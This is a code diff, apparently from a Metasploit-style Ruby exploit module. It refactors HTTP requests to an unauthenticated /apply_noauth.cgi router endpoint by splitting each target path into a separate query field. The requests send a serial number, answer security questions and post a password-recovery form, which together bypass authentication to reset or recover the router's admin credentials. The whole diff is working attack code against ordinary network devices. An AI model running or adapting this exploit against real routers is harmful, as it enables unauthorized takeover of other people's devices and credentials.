@@ -98,7 +98,8 @@ def get_creds
98
98
99
99
# 1: send serial number
100
100
send_request_cgi ( {
101
- 'uri' => '/apply_noauth.cgi?/unauth.cgi' ,
101
+ 'uri' => '/apply_noauth.cgi' ,
102
+ 'query' => '/unauth.cgi' ,
102
103
'method' => 'POST' ,
103
104
'Content-Type' => 'application/x-www-form-urlencoded' ,
104
105
'vars_post' =>
@@ -111,7 +112,8 @@ def get_creds
111
112
112
113
# 2: send answer to secret questions
113
114
send_request_cgi ( {
114
- 'uri' => '/apply_noauth.cgi?/securityquestions.cgi' ,
115
+ 'uri' => '/apply_noauth.cgi' ,
116
+ 'query' => '/securityquestions.cgi' ,
115
117
'method' => 'POST' ,
116
118
'Content-Type' => 'application/x-www-form-urlencoded' ,
117
119
'vars_post' =>
@@ -176,11 +178,12 @@ def report_cred(opts)
176
178
177
179
def send_req ( timestamp )
178
180
begin
179
- uri_str = ( timestamp == nil ? \
180
- "/apply_noauth.cgi?/ PWD_password.htm" : \
181
- "/apply_noauth.cgi?/ PWD_password.htm%20timestamp=#{ timestamp . to_s } " )
181
+ query_str = ( timestamp == nil ? \
182
+ '/ PWD_password.htm' : \
183
+ "/PWD_password.htm%20timestamp=#{ timestamp . to_s } " )
182
184
res = send_request_raw ( {
183
- 'uri' => uri_str ,
185
+ 'uri' => '/apply_noauth.cgi' ,
186
+ 'query' => query_str ,
184
187
'method' => 'POST' ,
185
188
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' } ,
186
189
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{ @q1 } &question2=2&answer2=#{ @q2 } "
0 commit comments